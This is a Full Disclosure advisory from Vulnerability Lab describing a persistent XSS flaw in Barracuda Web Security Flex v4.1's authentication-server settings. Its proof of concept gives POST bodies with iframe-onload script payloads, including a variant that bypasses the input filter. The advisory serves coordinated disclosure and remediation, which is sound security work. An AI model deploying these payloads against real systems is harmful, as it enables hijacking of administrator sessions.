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[FD] Barracuda Networks Web Security Flex v4.1 - Persistent Vulnerabilities (BNSEC-699)
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Barracuda Networks Web Security Flex v4.1 - Persistent Vulnerabilities (BNSEC-699)
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Mon, 25 Aug 2014 17:39:10 +0200
Document Title:
===============
Barracuda Networks Web Security Flex v4.1 - Persistent Vulnerabilities
(BNSEC-699)
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=750
BARRACUDA NETWORK SECURITY ID: BNSEC-699
Release Date:
=============
2014-08-22
Vulnerability Laboratory ID (VL-ID):
====================================
750
Common Vulnerability Scoring System:
====================================
4
Product & Service Introduction:
===============================
The Barracuda Web Security Service is a cloud-based web filtering service ideal
for organizations with users in
multiple locations. With no hardware to install, this powerful SaaS web filter
quickly and affordably lets administrators
safeguard users against aggressive malware while centrally managing user access
to web content, applications, media,
file types and more. It even extends content security and management to
off-network mobile devices – perfect for schools
that issue iPads to students, or any organization that relies on mobility.
As an enterprise-grade solution for web security, Barracuda Web Security
Service saves administrators time otherwise spent
disinfecting computers and dealing with data breaches. Barracuda Web Security
Service’s intuitive web UI gives clear
visibility into web activity which speeds network troubleshooting and policy
management. Interactive graphs let administrators
drill down from high-level overviews of the organization’s web activity to
fine-grained information about users, websites,
applications, files, bandwidth and other factors effecting performance and user
productivity. Reporting is just as convenient
and granular with no database administration required. Built on a massively
scalable worldwide multi-tenant architecture that
provides advanced web filtering to customers in fifty countries, Barracuda Web
Security Service delivers the fastest, most
reliable web filtering in the industry.
(Copy of the Vendor Homepage:
https://www.barracudanetworks.com/products/websecurityflex )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a web vulnerability in
the official Barracuda Networks Web Security Flex v4.1 Application Service.
Vulnerability Disclosure Timeline:
==================================
2013-11-09: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2013-11-10: Vendor Notification (Barracuda Networks - Bug Bounty Team)
2013-11-13: Vendor Response/Feedback (Barracuda Networks - Bug Bounty Team)
2014-08-10: Vendor Fix/Patch Notification (Barracuda Networks - Developer
Team)
2014-08-20: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Barracuda Networks
Product: Web Security Flex 4.1
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A persistent input validation vulnerability has been discovered in the official
Barracuda Networks Security Flex v4.1 Application Web-Application.
The bug allows remote attackers to inject own malicious script codes in the
vulnerable module on the application-side of the appliance service.
The persistent vulnerability is located in the vulnerable Domain Alias, LDAP
Host and Bind DN/Username values of the `Remote Filtering > Authentication
> Add Authentication Server` module. Low privileged user accounts are able to
> inject via POST method request own malicious script codes to compromise
the appliance web-application service. The attack vector is located on the
application-side and the request method to inject malicious conext is POST.
The security risk of the persistent vulnerabilities are estimated as medium
with a cvss (common vulnerability scoring system) count of 4.0.
Exploitation of the security issue requires low user inter action (view
listing) & a registered low privileged web application user account.
Successful exploitation of the security vulnerability results in session
hijacking (manager/admin) or stable (persistent) context manipulation.
Request Method(s):
[+] POST
Vulnerable Service(s):
[+] Web Security Flex
Vulnerable Module(s):
[+] Remote Filtering > Authentication > Add
Authentication Server > TEST SETTINGS or SAVE + Listing!
Vulnerable Parameter(s):
[+] Domain Alias
[+] LDAP Host
[+] Bind DN/Username
Proof of Concept (PoC):
=======================
The persistent web vulnerability in the exception-handling can be exploited by
remote attackers with low privileged user account and low required user inter
action.
For security demonstration or to reproduce the security vulnerability follow
the provided information and steps below to continue.
Review: Domain Alias, LDAP Host and Bind DN/Username
<div class="form-result form-result-error" id="flex-global-form-result"
style="display: block;">Unable to connect to​​​​​
">​​​​​<iframe src="a">%20%20%20%20"><[PERSISTENT
SCRIPT CODE INJECTION!]") <:389</iframe></div>
POST REQUEST (BLOCKED): Exception-Handling
enabled=1
domain_name=%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL%22)+%3C
ip_address=%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL%22)+%3C
port=389
encryption=0
bind_dn=hello23
bind_password=hello24
base_dn=iamsuperhack23
uid_attribute=sAMAccountName+check24
uid_value=bumbum
test2=1=
is_ajax=1
ajax_response_format=json
POST REQUEST (BYPASS VALIDATION): Exception-Handling
enabled=1
domain_name=%22%3E%3Ciframe+src%3Da%3E++++%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL%22)+%3C
ip_address=%22%3E%3Ciframe+src%3Da%3E++++%22%3E%3Ciframe+src%3Da+onload%3Dalert(%22VL%22)+%3C
port=389
encryption=0
bind_dn=hello23
bind_password=hello24
base_dn=iamsuperhack23
uid_attribute=sAMAccountName+check24
uid_value=bumbum
test2=1
=
is_ajax=1
ajax_response_format=json
PoC: String (Bypass %20)
">Unable to connect to​​​​​
">​​​​​<iframe src="a">%20%20%20%20"><iframe
src=vuln-lab.com onload=alert("VL") <
Reference(s):
https://webfilteringportaldemo.barracudanetworks.com/r/cloudauth/add
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of all invalid
context exception-handling messages values.
Disallow to redisplay the insecure input and filter wrong exception to prevent
execution of persistent codes in the context of the security appliance
application.
Security Risk:
==============
The security risk of the persistent exception-handling validation web
vulnerability is estimated as medium.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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